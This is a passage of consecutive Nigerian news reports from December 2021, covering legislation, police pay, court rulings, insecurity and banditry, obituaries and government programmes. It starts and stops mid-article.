Let no minister stealthily and surreptitiously do that. The judge said that any marriage registry established by the interior ministry outside the former Federal Capital Territory of Lagos and present Capital Territory of Abuja is a voyage in futility. He, therefore, granted orders of perpetual injunction restraining the interior ministry and its agents from further contracting, celebrating, and registering marriages under the Marriage Act within the plaintiffs local government areas, except marriages conducted in the registries in Ikoyi and Abuja. The judge also granted orders of perpetual injunction restraining the ministry and its agents from further granting and issuing certificates of marriage certificates within the plaintiffs local government councils, except marriages conducted in the registries in Ikoyi, Lagos, and Abuja. He, however, refused to grant the relief to order the ministry of interior to return marriage certificates it had earlier issued and to also refund the fees paid by couples. By this judgement, there shall be no Federal Marriage Registry in Marriage Districts in local governments, except in Ikoyi and Abuja. Verdict: The claims that the court had ordered the closure of the Federal Marriage Registry in Ikoyi and that all marriages conducted there are illegal are FALSE. The Gender and Equal Opportunity Bill has suffered another setback at the Senate. The sponsor of the bill, Biodun Olujimi (PDP, Ekiti South) was forced to step down the bill after some senators raised concerns over possible infringement on Islamic morals. Her decision to suspend consideration of the bill was sequel to a deliberation which lasted for over an hour. This would be the third time the consideration and passage of the Gender Equality bill is frustrated. It was first introduced in the Eighth Senate in March 2016. The bill seeks to guarantee the rights of women to equal opportunities in employment, equal rights to inheritance for both male and female children; equal rights for women in marriage and divorce, equal access to education, property/land ownership and inheritance. It also seeks to protect the rights of widows; guarantee appropriate measures against gender discrimination in political and public life and prohibit violence against women. The bill was rejected by some male lawmakers who argued that the Nigerian Constitution was clear on rights of citizens, including women. Ms Olujimi, however, reworked the bill and represented it to the Senate. And this time, it scaled second reading and was referred to the Senate committee on Judiciary, Human Rights and Legal Matters but no public hearing was held. In November 2019, the bill was reintroduced. The debate It started like every other debate. Ms Olujimi took time to highlight some provisions of the bills. She said the legislation seeks to eliminate all forms of discrimination against women. This bill seeks to further strengthen section 42 of the constitution. It seeks to eliminate gender-based violence. This bill was read for the first time in 2019, she said. It will allow the for the domestication of all forms of discrimination against women. It will provide for the equality of all persons. If enacted, it will prohibit all forms of discrimination against women and persons living with disabilities. The bill, when enacted, will support agencies to recognise and respond to modification of socio-cultural practices towards ensuring the rights of widows and widowers are recognised and protected. It will encourage women to aspire and attain their full potentials considering the fact that there are real walls of discrimination against women. And address equal opportunities of career choices and job security. While Stella Oduah, Akon Eyankenyi and Istifanus Gyang spoke in support of the bill and encouraged other lawmakers to do so, Yusuf Yusuf and Aliyu Wamakko said otherwise. Mr Yusuf opposed the bill saying its provisions is against the socio-cultural practice of Islam. From an Islamic perspective which is a socio-cultural practice of Muslimsthis aspect of itby equating opportunities for women and men actually infringes with the provisions of the Quran and also the Bible. I will not support the passage of this unless the word equal is removed. If we have it as Gender Opportunities Bill, fine. But when you bring equality into it, it infringes into the practice of the Islamic religion. Mr Wamakko re-echoed Mr Yusufs point. When it comes to socio-cultural practices, it is wrong. If they say equity, it is okay. But equality, no. It infringes on the Islamic religion and for that reason, I dont support this bill. Advertisements Mrs Olujimi offered to change the title of the bill to Gender Equity Bill to accommodate the concerns raised by the duo. Afterwards, other senators including Ovie Omo-Agege and James Manager advised that the bill be read for the second time and issues raised will be addressed at the committee and public hearing states. From the feelers that Im getting the chambers, it appears the consultation has not gone far enough. I want to plead that this bill should not be killed here but should be allowed to go for public hearing so if there is anything that Senator Olujimi missed, it will be addressed, Mr Omo-Agege, the deputy senate president, said. But Mr Yusuf opposed this suggestion. He said he was yet to see the complete bill and would not support it being read for the second time. At this point, the Senate President, advised that the sponsor step down the bill and consult further with the senators who have raised concerns a point which was supported by senators Remi Tinubu, Abdullahi Adamu and Bala NaAllah. Ms Olujimi thereafter agreed to step down the bill for further consultations. The clamour for gender equality has been on for years with many women and civic groups advocating change, parity, an end to negative stereotypes and gender-based violence. Similar groups have also called on lawmakers to ensure seamless passage of the bill. The Nigerian government has approved new allowances for the police that would see the take home pay of police personnel increase by at least 20 per cent, an official has said. The police affairs minister, Maigari Dingyadi, told journalists that the Federal Executive Council (FEC) has approved peculiar allowance for the police to take off from January 2022. The allowance will increase police personnel take home pay by 20 per cent of their present earning, Mr Dingyadi said. He said the salary increase was part of efforts of the Muhammadu Buhari administration to meet the demands of the #EndSARS protesters. The already-sullied reputation of the Nigeria Police Force suffered more blows after the youth across the country last year took to the streets in protest against police brutality, particularly the activities of the defunct Special Anti-Robbery Squad (SARS). This special squad has long been accused of unlawful arrests, torture, extortion and extrajudicial killings. In the protesters five-point demands, which include compensations for the families of all deceased victims of police brutality, the protesters also demanded an increase in the salaries of police officers. They linked the endless extortion, corruption, and the viciousness of the men on black to poor remuneration, training, and welfare. New salary structure Aside from the salary increase, FEC meeting presided by President Muhammadu Buhari at the Presidential Villa, Abuja, on Wednesday, also approved the review of police duty tour allowance to six per cent, and the release of N1.2 billion for the payment of uninsured benefits. Also approved by FEC is the sum of N1.2 billion for the payment of outstanding allowances. The minister said FEC also approved a tax waiver for junior police personnel to take effect from October 2021. He said a major highlight of the increase is the provision of a 20 percent peculiar allowance for the Police. I am particularly very happy today to inform Nigerians that the Federal Executive Council has approved the review and upgrading of the take home pay of Police personnel in this country. You recall that in October 2020 this country was rocked with EndSARS protests and the President addressed the nation appealing for calm, after which he promised that the salary of the Police will be reviewed in recognition of the services they have been rendering to the country, maintaining peace and tranquillity. So, FEC has today approved a proposal for the review of their salaries, which will take effect from January 2022. We have tried to create a situation where their take home pay will be enhanced through the improvement of issues such as duty tour allowance, which has been reviewed to six percent of their new take home pay, he stated. The Minister went on to give further highlights of the new salary. Council has also approved the payment of N1,120, 172,150.00 for payment as outstanding benefits of personnel for uninsured period of 2013-2020, it has also approved N127,972,269.20 for payment as outstanding death benefits of 5472 personnel for the uninsured period of 2013-August 2021, not covered under the group life assurance. Council has also approved N1.2 billion as outstanding burial expenses of personnel for a period of January 2012-2021. Also, the Council graciously approved the annual insurance premiums of N750 million as well as the payment of N4, 812,500,000 for repairs and replacement of damaged Police infrastructure in future budgets, starting from 2022. Council has also approved a tax waver in the sum of N18.6 billion for junior officers of the Police in order to increase their take home pay with effect from October 2021. Similarly government has approved an increase of the current rent subsidy, which is currently between 15-20 percent, amounting to N61 billion. With the increase, it is now 40 percent of the Consolidate Police Salary Structure (CONPOSS), in the sum of N78.3 billion. It has also approved payment of an additional six percent shift duty allowance for officers on Grade Level 01-14 and supervisors allowances for officers on Grade Level 15 and above, totalling about N10.038 billion with effect from 2022. Most importantly, government has also approved payment of 20 percent of CONPOSS as a peculiar allowance to boost morale and take home pay of the Nigeria Police personnel, he said. The Delta State House of Assembly on Tuesday approved a request by Governor Ifeanyi Okowa for a N20 billion facility from Fidelity Bank Plc. The governors request is contained in a letter read by the Speaker, Sheriff Oborevwori, during the plenary of the assembly in Asaba. Mr Okowa said the request was to finance the state governments five per cent equity in the UTM offshore Limited Floating Liquified Natural Gas (FLNG) Project. He said the project is under the Central Bank of Nigeria (CBN) real sector support Find/Differentiated cash reserve requirement window. The facility is in line with the state governments intent of diversifying its strategic portfolio by investing in a floating Liquified Natural Gas plant project. Delta is expected to invest in the project through a five per cent share of the company, he said. Mr Okowa explained that the facility would not only boost employment for the teeming population and enhance local content for Delta, but would also secure future cash flow for the state. Consequently, the Majority Leader of the Assembly, Ferguson Onwo, moved a motion for the approval of the governors request. It was seconded by the member representing Ika North East State Constituency, Anthony Elekeokwuri. The motion was unanimously adopted by the house when put to a voice vote by the speaker. (NAN) Adegboyega Dosunmu, the Olowu of Owu in Abeokuta, Ogun State, is dead, the state government announced on Tuesday night. The monarch passed away on Sunday after a brief illness, the government said in a statement. PREMIUM TIMES learnt that the traditional ruler was rushed to the hospital on Sunday, and he died shortly after. He was 80. On Monday, there was a graveyard silence at the palace when our reporter visited. Nobody was willing to speak about his demise. The Commissioner for Local Government and Chieftaincy Affairs, Afolabi Afuwape, announced the death. The commissioner said the deceased, a veteran TV producer, ascended the throne in 2005 as the 13th Olowu after Adewale Adisa Odeleye, Lagbedu 1 who passed away in 2003. Governor Dapo Abiodun expressed shock over the death of the monarch, according to a statement by his chief press secretary, Kunle Somorin. The governor prayed that God Almighty grants Kabiyesis soul eternal repose, and the people he left behind the fortitude to bear this loss. The monarch was said to be a close ally of former President Olusegun Obasanjo. He had been a civil servant, broadcaster and politician. He attended Kings College in Lagos state in 1956 and was later admitted into Hendon College of Technology in London to study Drama and Television Production in 1963. He also attended Landmark Baptist College, Tennessee, the U.S. in 1987 where he obtained a bachelors degree in Theology. He worked at the Nigerian Railway Corporation, Ebute Metta, Lagos State. He later joined a broadcasting organisation where he rose to the position of Head of Drama Department. After he exited the Nigerian Broadcasting Corporation in 1975, he proceeded to establish a private film production outfit, Starline Films Limited. Mr Dosumu was a devoted Christian, who preached to his aides and palace workers on weekly basis, about good behaviours and Jesus Christ to them. At different times during his lifetime, Mr Dosunmi had said he did not partake in any ritual before and during his reign as king. The Mariam Ladi Yunusa foundation, on Tuesday, launched On the Window Sill, the autobiography of Mariam Yunusa, Adamawa States first female commissioner of housing and urban development. In the books addendum, Mrs Yunusas children Yahaya, Haruna, Ibrahim and Asmau said they stumbled on the book while sorting their mothers personal belongings in her study. We have therefore decided to finish her story; giving all the readers a full experience of the life lived on earth by our lovely mother Mariam; alias Maa. In the 116-page book, the former academic at Ahmadu Bello University who died in July 2019 aged 65, detailed what it was like growing up as a woman in a largely patriarchal society. She explained how she was able to rise through the ranks and break the glass ceiling set for female folks in her society. While reading the preface of the book, Tonia Atebe said the author wrote the autobiography to inspire female folks primarily from my part of the country. My story is also for all women who, though confronted with every reason to fail and give up on life, would be encouraged to know that they can pick up themselves and still achieve that dream of which they are so sure, but which may seem so far off and unrealistic from where they now stand, Ms Atebe read in Abuja where the event held. I have written the story so that men may gain a better understanding of the women they meet either intimately as spouses or in the marketplace as colleagues. If you are a man holding this book in your hands, I commend you for crossing prejudice and age-old social norm of ignoring what people will think when they see you holding a womans story. Mighty man of valour, step up to your divine plate, Gods creation is waiting for the manifestation of your priesthood, she added. In his welcome address, one of the authors sons, Haruna Yunusa, said reading the book, you will be able to see her life through her eyes and understand more why she made some of the decisions that she did and appreciate how she lived her life. Our mother attempts to pencil down her experiences through life with the hope that it inspires the others with a similar starts in life, and let them know that there is no glass ceiling, because of where you are from or what sex you are, he said. The foundation in memory of Mrs Yunusa, which sponsored the book launch, was said to be providing aid to young girls in northeast Nigeria to restore hope to them after years of insurgency in the region. The only daughter of Mrs Yunusa who doubles as the programme director of the foundation, Asmau Durnin, noted that the foundation was working on expanding its mandate to support girls post-secondary school with scholarships for tertiary education and acquisition of vocational skills. This, she said, was to enable them to establish small and mid-size enterprises (SMEs) depending on their level of academic strength and interests. It is our goal to restore our girls back to normalcy, rescue them from the trauma and support the creation of sustainable livelihoods. This, in turn, creates hope for a bright future and the restoration of healthy individuals, who can hold a sense of civic duty as exemplary leaders in their various communities and beyond, Mrs Durnin noted. Before retiring in 2015, Mrs Yunusa was the assistant director of education and principal of the federal government girls college, Yola, between 1984 and 1990 as well as the director of partners and inter-agency coordination branch at the United Nations human settlement programme (UN-Habitat), in Nairobi, Kenya. At other times, she was the manager of the Africa Urban Agenda, an AU programme that seeks to strengthen partnerships between member states and their citizens and promote urbanisation for the attainment of the continents people-centred agenda 2063. The House of Representatives has resolved to investigate the new fees introduced by the Medical and Dental Council of Nigeria (MDCN) for foreign-trained medical and dental applicants. The lawmakers have charged the House Committee on Health Institutions to investigate the N900,000 fees paid by applicants for the six-month mandatory attachment programme. MDCN had announced that applicants, who are Nigerian citizens, are required to pay a non-refundable fee of N900,000, while non-citizens are to pay N1.4 million for the programme. The council had approved the following teaching hospitals as centres for the foreign-trained applicants: Olabisi Onabanjo University, Enugu State University, University of Port Harcourt, University of Ilorin, Aminu Kano University and the University of Maiduguri. The exorbitant fee for foreign-trained applicants is charged despite the mass exodus of medical doctors to other countries in search of greener pasture. The decision to investigate the fees followed a motion moved by Solomon Maren (PDP, Plateau) on Wednesday during plenary. Mr Maren, in the motion, said the decision to charge foreign-trained applicants will further discourage foreign-trained medical students from returning to Nigeria. He noted that Nigerians need more medical and dental graduates to return to the country after their training. Efforts by the federal government to boost and improve healthcare delivery through human capital development may be jeopardised if such outrageous charges are not removed, as many intending graduates may not be able to enrol into the council, without which they cannot practice. He added that If deliberate and proactive steps are not taken to check those atrocious charges the healthcare system will suffer further lack of professionals, thereby increasing medical tourism out of Nigeria and jeopardising the federal governments efforts at economic recovery. Speaking against the motion, Ahmed Jaha (APC, Borno) said if Nigerians are made to pay a high price to practice in other climes, Nigeria should do the same. Most Nigerians are going outside the country for medical practice and the amount they pay abroad for them to be registered with relevant agencies or organisation is so high compared to what Nigeria charge them. We charge in naira, but abroad they charge in foreign currencies, he said. The Speaker, Femi Gbajabiamila, while responding to the comments by Mr Jaha, said there is a need to make a distinction between Nigerians who are foreign-trained and foreigners. He noted that Nigerians should not be discriminated against because they studied overseas. When the motion was put to question by Mr Gbajabiamila, it was unanimously adopted. A popular Nigerian actress, Rahama Sadau, has lambasted the President Muhammadu-led government for its failure to tackle the worsening security situation and incessant killings in the north and the country at large. Ms Sadau, who said this on her Instagram handle on Monday, said unless the government steps up to the occasion, Nigerians could be pushed to revolt. She also described Nigerian leaders as cruel and disregarding. Her posts partly read, The poor Nigerian cannot stay at his home comfortably, he lives in fear. If we are all killed, we will then see who will vote for them again. Rising insecurity Sadaus post comes on the heels of a protest by Coalition of Concerned Northern Nigerian Groups in Abuja on Tuesday. The protesters demanded an immediate end to the killings going on in the region. They also lamented the gruesome killing of over 40 bus passengers at Gidan Bawa village in Sokoto State. #NorthIsBleeding hashtag has trended all week with calls by prominent northern personalities and Nigerian celebrities calling for mass protests against President Buharis government over the mindless killings in the northern region Read her post: The disturbing recent footage on social media is disheartening & inhumane. What did we really do as citizens of the country (Arewa most especially) to deserve such cruelty and disregard from our leaders?? All we did was VOTED!! We are not calling out anybody but EVERYBODY at the top level When will there be action on insecurity???When will our voices be heard??? Our attention only got to be noticed after every 4 years ENOUGH OF THAT!! This insecurity is affecting EVERY home in Arewa Hmm!! Never Wake a Sleeping Dog Talaka a yau, zama a cikin gidansa ma tsoro yake bashi..I am speaking for myself and every person that feels affected..!! I am calling out EVERYBODY with a voice, power & influence to contribute to tackling insecurity in Nigeria. Losing Arewa to banditry is like losing the whole nation. Idan kowa ya mutu Sai muga wanda zai zabe su NO ONE IS SAFE UNTIL WE ARE SAFE . ENOUGH OF THE BLOODSHED!! The Federal Executive Council (FEC) has approved the Federal Civil Service Strategy and Implementation Plan 2021-2025 (FCSSIP 2021-2025) The Head of Service of the Federation, Folasade Yemi-Esan, disclosed this at the end of the council meeting at the Presidential Villa on Wednesday, December 15, 2021, in Abuja. The new Federal Civil Service Strategy and Implementation Plan 2021-2025 is a successor to the previous strategy which covered 2017-2020. According to the Head of Service, the FCSSOP 2021-2025 is put in place to propel the attainment of a New Civil Service of our Dream. The FCSSIP 2021-2025, she explained, was the outcome of the contributions of Organised Private Sectors (OPS), serving and retired professionals of the civil and public service, labour unions and associations as well as development partners in Nigeria. The strategy is aimed at breaking away from the old to a new paradigm of productive, world-class civil service for accelerated national development. She said: I am convinced that the implementation of the initiatives itemised in the plan will galvanise the service to greater heights. She urged all stakeholders to diligently study and ensure effective implementation of the plan to enhance service delivery and engender economic growth and sustainable development in Nigeria. Mrs Yemi-Esan expressed gratitude to President Muhammadu Buhari for his support to the civil service and ensuring that, despite the COVID-19 pandemic, no civil servant was owed salaries or laid off. She also thanked the Vice President, Yemi Osinbajo, and the entire members of the Presidential Committee on the development of FCSSIP25. She equally appreciated the African Initiative for Governance (AIG) and the World Bank for their support in the development of FCSSIP25. AbdulGaniyu Aminu Director (Communications) 15th December, 2021 The Court of Appeal in Abuja, on Wednesday, set aside the judgement of the Federal High Court, Abuja, refusing to grant an order of final forfeiture of the sums of 500,000 and N500million allegedly looted from the Zamfara states share of the Paris Club refunds. Spokesperson for the Economic and Financial Crimes Commission (EFCC), Wilson Uwujaren, said in a statement that a three-man panel of the Court of Appeal unanimously set aside the Federal High Courts verdict. Stephen Adah, the judge who read the unanimous decision of the panel held that the Federal High Court judge, Nnamdi Dimgba, misconstrued section 17 of the Advance Fee Fraud Act 2006 and did not evaluate the facts brought by the appellants, that the funds are proceeds of illegality and criminally diverted from a legitimate source. Mr Adah noted that the money, having become illegitimate, could not be used to pay any legitimate contract for public services. The judgment of the lower court cannot stand and will never be allowed to stand, the court ruled. Mr Dimgba had on June 30, 2017 ordered the interim forfeiture of the sums of money following an ex parte application by the EFCC. But the judge on November 17, 2017 refused the commissions application for an order of final forfeiture of the money to the federal government. EFCC had appealed against the decision. Read EFCCs full statement: EFCC Press Release Paris Club Funds: Appeal Court Okays Forfeiture of $500,000, N500m to Federal Government The Abuja Division of the Court of Appeal today, December 15, 2021 set aside the judgment of Justice Nnamdi Dimgba of the Federal High Court Abuja refusing the final forfeiture application of the Economic and Financial Crimes Commission, EFCC, in respect of the sums of $500,000 and N500m allegedly looted from the Zamfara states share of the Paris Club refunds made by the Federal Government to the 36 states. Justice Dimgba had on June 30, 2017 ordered the interim forfeiture of the monies following an ex parte application by the EFCC. But the judge on November 17, 2017 refused the Commissions application for an Order of final forfeiture of the money to the Federal Government. Citing contestation regarding the illicit origin of the money, the judge had ruled that it would bean unjust, inequitable and irresponsible exercise of his judicial powers under section 17 of the Advance Fee Fraud Act to gloss over the claims and go ahead to make the final forfeiture order. I do not believe that this provision should be available where the absolute forfeiture of the funds or the funds itself are subject of a significant contest as it is in the circumstances of the present case, the judge ruled. Dissatisfied by the ruling, the EFCC approached the appellate court to side aside the judgment. In a unanimous Judgment delivered by Justice S.J Adah on behalf of a panel of three justices, other being Justices A.A Adume and B.I Ghafai, the Court of Appeal nullified the judgment of Justice Dimgba. Justice Adah held that the trial judge misconstrued section 17 of the Advance Fee Fraud Act 2006 and did not evaluate the facts brought by the appellants, that the funds are proceeds of illegality and criminally diverted from a legitimate source. The judge noted that the money has become illegitimate and cannot be used to pay any legitimate contract for public services. The judgment of the lower court cannot stand and will never be allowed to stand, the court ruled. Wilson Uwujaren Head, Media & Publicity 15 December, 2021 The Speaker of the House of Representatives, Femi Gbajabiamila, has described the Climate Change Act as a life-changing legislation. The Climate Change Bill, which was first introduced in the 7th Assembly, had suffered several setbacks until passed recently and assented to by President Muhammadu Buhari. In 2019, Mr Buhari had rejected the bill for replicating the function of the Federal Ministry of Environment which is charged with mainstreaming climate responses and actions into government policies but does not suggest the scrapping of the ministry. Mr Gbajabimaila said he is planning to celebrate 25 bills assented to, but that none of them is as important as the Climate Change Act. He stated this on Wednesday when the House of Representatives Press Corps gave the sponsor of the Climate Change bill, Sam Onuigbo, Lawmaker of the Year award. Mr Gbajabiamila explained the legislation is one of such bill that nobody bothered to even try to understand but on the closer examination and a proper understanding of what it entails, it is perhaps one of those life-changing bills, one of those bills that can affect every one of us for life. He noted that the legislation will perhaps surpass generations yet to come. In his reaction, Mr Onuigbo said the legislation will help to address the menace of climate change and direct appropriate response. Make no mistakes about it, climate change is an existential issue and must be treated as such. Our country Nigeria, must, therefore, take appropriate and coordinated actions in its transition to net-zero so as to avoid being left behind with a lot of stranded assets, he said. He added that the new legal framework will help us on our journey towards green recovery, and ultimately ensure that we sustainably develop while preserving this earth for our children. Grace Ike, the chairman of the Corps, commended the lawmakers for ensuring the passage of the bill despite the numerous setbacks. She noted that the bill will help to support carbon emissions reduction targets and create a sustainable environment. The signing of the bill into law by Mr President has made Nigeria join an elite group of countries that have enacted emissions-target legislation aiming to eliminate carbon emissions, she said. A representative from the United States Embassy, Jackson Smith, said Climate Change is a global issue and lauded the efforts of the National Assembly to face this challenge in the interest of the future of Nigeria. The National Assembly has shifted the passage of 2022 budget to next week, to enable it to accommodate preparations for 2023 elections and the 2022 National Population Census. Barau Jibrin, the chairman of the Senate Committee on Appropriation, Barau Jibrin, disclosed this when he spoke with journalists on Wednesday in Abuja. The 2023 general elections and the projected national head counts slated for next year are very important that is the reason why we want to make provisions for them in the 2022 budget . As a result of the importance of the two exercises, the passage of the 2022 budget will no longer be possible this week as earlier planned and clearly stated on our time table, he said. The News Agency of Nigeria (NAN) reports that the budget was supposed to have been laid on Tuesday by the Appropriation Committee for eventual passage on Wednesday or Thursday before the postponement. President Muhammadu Buhari had on 7 October presented the 2022 Appropriation Bill for an aggregate of N16.39 trillion to the joint session of the National Assembly. The president described the 2022 Appropriation as Budget of Economic Growth and Sustainability. The Federal Road Safety Corps (FRSC), Osun Command, has confirmed the death of seven persons in a motor accident that occurred on Ilesa-Osu expressway on Wednesday. The FRSC Sector Commander in the state, Paul Okpe, in a statement made available to journalists in Osogbo, said a bus carrying some passengers from Zamfara lost control at about 3.45 a.m. around Osu area. A white Toyota Hiace bus lost control and ran under a billboard, leading to the death of seven persons, four of whom were burnt beyond recognition, he said. Mr Okpe, who stated that the bus was carrying two motorcycles and some passengers as of the time of the accident, attributed it to speeding and disobedience to road traffic rule. He said the Federal Fire Service joined the corps to put out the fire before the victims were rushed to a nearby hospital, while the bodies of the dead were deposited in a morgue. Mr Okpe, however, called on motorists to be safety conscious while using the highway and observe road safety regulations. (NAN) The State Security Service (SSS) has vowed to crush bandits and other groups causing insecurity in the country. Spokesperson of the service, Peter Afunanya, stated this at a press conference in Abuja on Tuesday. Mr Afunanya said the bandits had crossed the red line and as such would face the consequencies. The SSS statement comes amidst heightened insecurity in the country. Scores of people are killed almost on a daily basis in many parts of the country. President Muhammadu Buhari has been criticised by many Nigerians for his alleged poor handling of the security situation in the region. One of the most scathing criticisms came last week from the JNI, a leading Islamic group in Northern Nigeria led by the Sultan of Sokoto, Saad Abubakar. On Friday, the presidents spokesperson, Garba Shehu, disclosed that Mr Buhari had dispatched a high-level delegation, made up of the heads of the nations intelligence and security services to Sokoto and Katsina States in response to the recent spike in bandit activities. However, kidnappings and killings by non-state actors still persist in that area days after. Mr Afunanya also said there was a plot to recruit students who will be going home for vacation into banditry, kidnapping, armed robbery and financial crimes. He said aside from students, lawmakers of both national and state houses of assembly who will be going on recess and other public/private sector workers on vacation may be predisposed to threats of various degrees. Let me reiterate at this juncture that those who sponsor kidnapping, banditry, terrorism, insurgency and all kinds of attacks on security agents, civilians and vulnerable populations should have a rethink. These persons, whether in the North or South, know themselves. There is no doubt that they have crossed the lines and it is now time to crush them, Mr Afunanya said. He also warned politicians, religious and opinion leaders to mind their utterances ahead 2023 general elections, saying the Service would deal decisively with anybody that attempts to destabilise peace of the country. The Service therefore warns that those who are involved in these should desist from such destabilising acts. It also enjoins politicians to play by the rule and avoid statements or activities capable of inflaming the fires of division and violence prior to 2023 elections. Opinion moulders like the clergy, religious and traditional rulers are also to guard their utterances and avoid inciting pronouncements. On IPOB and the alleged ill-treatment of its detained leader, Nnamdi Kanu, Mr Afunanya said the Service has, without any fear of contradiction, applied restraint in making public statements over the matter. He denied what he described as inciting allegations by IPOB, insisting that Mr Kanu enjoys full luxury at their detention facility, incomparable to any of its type anywhere in the country. Adequate attention is paid to Kanus health. He has unhindered access to the best medical care and doctors. Kanu, himself, has confirmed to his visitors that the Service has never, in any way, maltreated him. He even confirmed to the quartet of Senators Ike Ikweremadu and Enyinnaya Abaribe; Bishop Sunday Onuoha of the Methodist Church, Nigeria and Co-Chair, Interfaith Dialogue Forum for Peace and Ambassador Okechukwu Emuchay, MFR, Secretary-General, Ohanaeze Ndigbo, who saw him on Wednesday, 8th December, 2021, he said. Family, friends and well-wishers gathered Tuesday to remember the late chairman of Leadership newspaper, Sam Nda-Isaiah, during a first memorial held in his honour. Chaired by the Secretary of the Government of the Federation, Boss Mustapha, the event took place Tuesday in Abuja. Mr Mustapha described the late Nda-Isaiah as a blessing, saying that the deceased lived a life of love and left an impact on the lives of all he came across. Attendees said the late publisher was synonymous with humility and selflessness. Mr Nda-Isaiahs younger brother, Joseph Isaiah, described him as a devoted family man and a quiet philanthropist. He generously assisted the less privileged, often supporting widows and paying for the education of many orphans of deceased friends and associates, he said. In her speech, the first lady of the federation, Aisha Buhari, said Mr Nda-Isaiah is an associate to her and her family but also happens to be a different person to different people. He was a politician, journalist, pharmacist, and a true definition of a serial entrepreneur who lived a life well spent, she said. We remember him today as we did every day in the last year. We remember him not only because he is not here but because of how he lived his life and impacted us positively. And we will continue to remember him for the rest of our lives, the first lady said. Mrs Buhari added that the former presidential aspirant lived his life contributing to the development of our nation and as a service to humanity. She urged his widow, family, and friends to remain strong now more than ever and take comfort in knowing that he has lived a good and memorable life. In his tribute, Ahmed Kuru, a close friend of Mr Nda-Isaiah, said his late friend loved and adored his family, cherished his friends, was gracious to strangers and was sacrificial towards all. At the programme, the Nda-Isaiah family expressed its profound appreciation to relatives, friends, and associates for their prayers and support through this time. The man of Big Ideas Born in Minna, the capital of Niger state in 1962, Mr Nda-Isaiah had his early education at UNA elementary school and Christ Church school in Kaduna. He attended Government College Kaduna and the University of Ife, now Obafemi Awolowo University where he studied Pharmacy. He worked briefly at the Minna General Hospital, after a stint at the Kano specialist hospital. A passionate newspaperman and pundit, his column, Last Word with a footnote, Earshot, was a must-read. He started the column as a special writer and editorial board member of Daily Trust before he founded LEADERSHIP with proceeds from the launch of a collection of some of his finest articles in 2001. Before LEADERSHIP became a full-fledged newspaper, Mr Nda-Isaiah started with LEADERSHIP CONFIDENTIAL, a newsletter that was of tremendous value and insights, especially among diplomats, top politicians, and business owners. Mr Nda-Isaiah was a founding member of the Congress for Progressive Change (CPC) before joining the All Progressive Congress (APC) ahead of the 2015 general election. In 2014, he vied for the presidential ticket of the APC, under the campaign slogan Big Ideas. He delivered the big ideas speech in Minna Polo Ground, Niger State, where he promised to unite Nigeria and arrest the countrys problems if elected. He, however, lost in the primaries. Until his death, he held the title of Kakaki Nupe which was conferred on him by the current Etsu Nupe, Yahaya Abubakar. He was also conferred with a chieftaincy title, Aare Baaroyin of Akure Kingdom by the Akure monarch. He died in Abuja on December 11, 2020, after a brief illness. His family said he was a very hard-working personality in all he sought to do and was fully committed to the ideals he believed in. Governor Aminu Tambuwal of Sokoto State has described bandits terrorising people in parts of the country as enemies of humanity and should be treated as such. Mr Tambuwal made the remark on Tuesday when he received a delegation of Nigerian Governors Forum (NGF) led by its Chairman, Governor Kayode Fayemi of Ekiti State. The delegation was in Sokoto to commiserate with the government and people of the state over recent attacks by bandits, including the burning to death of 23 travellers. Mr Tambuwal called on all stakeholders to support President Muhammadu Buhari to bring the situation under control. In view of the persistent happenings, all hands must be on deck to check the incidents and support President Buhari at all levels in containing the situation. The bandits intentions and motives are still unravelling. When they attack a community they kill at random, shoot everybody irrespective of political differences. They do not consider ethnicity, religious or political party differences, they do not have any ideological or tribal pursuit, they are just enemies of humanity. They are supposed to be treated as such decisively, we must all rise to save the situation, the governor said. He appreciated the governors forum for the solidarity visit, and particularly commended Governor Fayemi for demonstrating good leadership and standing with the governors in any situation, irrespective of party affiliation. Earlier, the NGF chairman said that the visit was to commiserate with Mr Tambuwal over the unfortunate attacks, especially the loss of lives. We stand with Governor Tambuwal and other citizens over the sad incident, we shall continue to focus on the ways to curtail the situation and pray to Almighty Allah to stop the menace. We are aware of Tambuwals parley with President Muhammadu Buhari along with the Federal Government delegation that visited Sokoto on condolence visit and obtained direct situation reports on the incidents, Mr Fayemi said. Mr Fayemi was accompanied by Governors Badaru Abubakar of Jigawa and Atiku Bagudu of Kebbi, on behalf of the forum members. The News Agency of Nigeria (NAN) recalls that 23 people were set ablaze in a bus they were travelling in by bandits in Isa Local Government Area of the state on December 6. (NAN) The Minister of Federal Capital Territory (FCT), Muhammad Bello, says the Land Swap Programme will save the Federal Government nearly N1 trillion. The News Agency of Nigeria (NAN) reports that the Federal Executive Council (FEC) on June 16 approved the resumption of the Federal Capital Development Authority (FCDA) land swap initiative, started by the administration of former President Goodluck Jonathan. FEC, rising from a meeting in Abuja, approved the resuscitation of the programme aimed at ensuring massive infrastructural development in the FCT. Mr Bello made the disclosure while performing the ceremonial site hand-over of the Gwagwa District Development to Messrs Gwagwa Concession Ltd. This was contained in a statement issued by Anthony Ogunleye, the chief press secretary to the minister. The Land Swap programme is expected to save the FCT administration nearly N1 trillion, which the administration would have required to procure comprehensive district infrastructure in the 13 districts earmarked under the programme, he said. The minister explained that his administration adopted the land swap programme when it became obvious that it could not develop the FCT using its annual budgetary allocation. Developing the city using the annual budgetary allocation is simply not possible because of the way the city has grown astronomically in terms of physical expansion and a rising population. The programme in its most basic form is to grant an agreed percentage of land to an investor for comprehensive development. In exchange for this grant, the investor is to provide both specified infrastructure as well as resettlement costs, he said. He also said the programme was a 10-year comprehensive plan with four years meant for the provision of infrastructure. Its primary objective, in its simplest form, includes the encouragement of home ownership and the reduction of housing deficit in the FCT. The provision of infrastructure in designated districts as well as finding a lasting solution to the resettlement and compensation challenges of the FCT administration. The programme will be driven 100 per cent by the private sector and is to be carried out in strict compliance with the provisions of the Abuja Masterplan. And in accordance with the technical specifications and standards established by the FCDA, he said. Mr Bello expressed satisfaction that Julius Berger Nig. Plc., was involved as technical partners to Gwagwa Concession. I am particularly happy that this particular one is being done in partnership with Julius Berger Plc. because there is no way you can write the history of Abuja without mentioning this company. As you know the company is 100 per cent Nigerian and we are very proud to be associated with them in this city, he added. The minister disclosed that the ceremony was one in a series of initiatives that would be flagged off before the end of the administration. After this, we have others that we intend to do and each company is expected to meet all the strict criteria established with this initiative. READ ALSO: This criteria is basically hinged on three factors: one, to protect the investors; secondly, to protect the off-takers who are going to be the ultimate beneficiaries, and thirdly, protect the government and the environment, he explained. Mr Bello thanked President Muhammadu Buhari for his support to the programme, disclosing that the Presidents directive was that the project should be carried out with the highest standards that the FCT was known for. On her part, the FCT Minister for State, Ramatu Aliyu, said the event was a testament to the commitment of the administration to the provision of critical infrastructure for FCT residents in line with the Presidential mandates for the administration. Advertisements According to Mrs Aliyu, it is also a bold step by 